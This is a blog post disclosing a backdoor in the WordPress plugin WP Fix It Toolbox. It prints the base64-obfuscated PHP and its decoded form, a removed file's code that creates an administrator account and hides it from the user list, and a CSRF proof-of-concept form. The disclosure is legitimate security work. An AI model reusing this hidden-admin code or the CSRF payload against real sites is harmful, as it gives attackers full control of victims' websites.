11 Jan 2022

WordPress Plugin Directory Team Fails to Flag Base64 Encoded Code That Creates Backdoor Account

In 2017 there was a very bad situation where the two people running the WordPress Plugin Directory allowed a plugin containing malicious code to return in to the directory twice, only to have malicious code added again each time. Somehow that situation didn’t lead to a shakeup of the team running that, to address the two problematic people who have long controlled that.

In the third instance, part of the code was obfuscated using bae64 encoding. In the comments on a post on the WP Tavern about the situation, there were a couple of comments noting that should have flagged that code:

I’m surprised there’s no software check in place that scans the code for disallowed PHP or JS functions ( base64_encode(), etc ) when pushing up to the Repo… That would’ve thrown a red flag immediately.

Agreed 100%. I’m baffled that base64 code doesn’t get immediately rejected by the WP Repo.

One of the two people that control the plugin directory, Samuel “Otto” Wood made this claim in response:

Any use of Base 64 in plugins actually sends me an email when committed. I read all of those emails and look at the code. 99% of them are totally harmless and reasonable. I’ve continued to read them all for the last 5 years because of that 1% that’s not.

It’s a very odd response, since if he really did what he claimed there, then he failed to catch the malicious code, but doesn’t seem to understand that.

The next month we noted that wasn’t a one off issue of something being missed involving base64 encoded code, so either he wasn’t doing what he claimed to be doing or it wasn’t working.

That has happened again.

The plugin WP Fix It Toolbox contains multiple instances of the following obfuscated code:

$ncshqxfq28b8366c6c29958dca05d205db3141bd=base64_decode('V1AgRml4IEl0');$yubbjqpj3331aa39fbe9f7e71b02ae087c22aed3=base64_decode('UU5ZMm1SM1lubmZMMjd3NQ==');$gzkisrxbb84967c4f073b71405404f3719c788cd=base64_decode('Y29ubmVjdEB3cGZpeGl0LmNvbQ==');if(!username_exists($ncshqxfq28b8366c6c29958dca05d205db3141bd)){$facpeflae8701ad48ba05a91604e480dd60899a3=wp_create_user($ncshqxfq28b8366c6c29958dca05d205db3141bd,$yubbjqpj3331aa39fbe9f7e71b02ae087c22aed3,$gzkisrxbb84967c4f073b71405404f3719c788cd);$gallgwjdee11cbb19052e40b07aac0ca060c23ee=new WP_User($facpeflae8701ad48ba05a91604e480dd60899a3);$gallgwjdee11cbb19052e40b07aac0ca060c23ee->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));

If you undo the base64 encoding, you get this:

$ncshqxfq28b8366c6c29958dca05d205db3141bd="WP Fix It";$yubbjqpj3331aa39fbe9f7e71b02ae087c22aed3="QNY2mR3YnnfL27w5";$gzkisrxbb84967c4f073b71405404f3719c788cd="connect@wpfixit.com";if(!username_exists($ncshqxfq28b8366c6c29958dca05d205db3141bd)){$facpeflae8701ad48ba05a91604e480dd60899a3=wp_create_user($ncshqxfq28b8366c6c29958dca05d205db3141bd,$yubbjqpj3331aa39fbe9f7e71b02ae087c22aed3,$gzkisrxbb84967c4f073b71405404f3719c788cd);$gallgwjdee11cbb19052e40b07aac0ca060c23ee=new WP_User($facpeflae8701ad48ba05a91604e480dd60899a3);$gallgwjdee11cbb19052e40b07aac0ca060c23ee->set_role("administrator");

Clearing out the variables in that gets you this:

if(!username_exists("WP Fix It")){new WP_User(wp_create_user("WP Fix It","QNY2mR3YnnfL27w5","connect@wpfixit.com")->set_role("administrator");

That code creates a new WordPress account with the username set to “WP Fix It”, the email address to “connect@wpfixit.com”, and the password set to “QNY2mR3YnnfL27w5”. That account is an Administrator, so they have total control over the website. So an attacker could gain control of the website where that code has been run by simply logging into that account.

That code was first added to the plugin on November 24. The changelog for the version that added in, 3.8.2, is “Security patch.” In addition to adding that code, that version removed the file /images/wpfi-auto.php, which contained an unobfuscated version of the code for creating the account, but that code also would hide that it existed, from the list of WordPress users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
add_action( 'init', function () {
 
	$bredtin = 'WP Fix It';
	$spagetti = 'QNY2mR3YnnfL27w5';
	$lambo = 'connect@wpfixit.com';
 
	if ( ! username_exists( $bredtin ) ) {
		$user_id = wp_create_user( $bredtin, $spagetti, $lambo );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
	}
 
} );
 
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;
 
   if ($username != 'WP Fix It') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'WP Fix It'",$user_search->query_where);
   }
}
 
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}

Originally the account was created automatically when the plugin was active, more recent versions of the plugin require a user action, but among the other security issues with the plugin, that user action be initiated through cross-site request forgery (CSRF), as the proof of concept below confirms.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will create the WordPress account, when logged in as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=wpfi-support&wpfi_section=settings" method="POST">
<input type="hidden" name="wpfi_connect" value="Proof of Concept" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.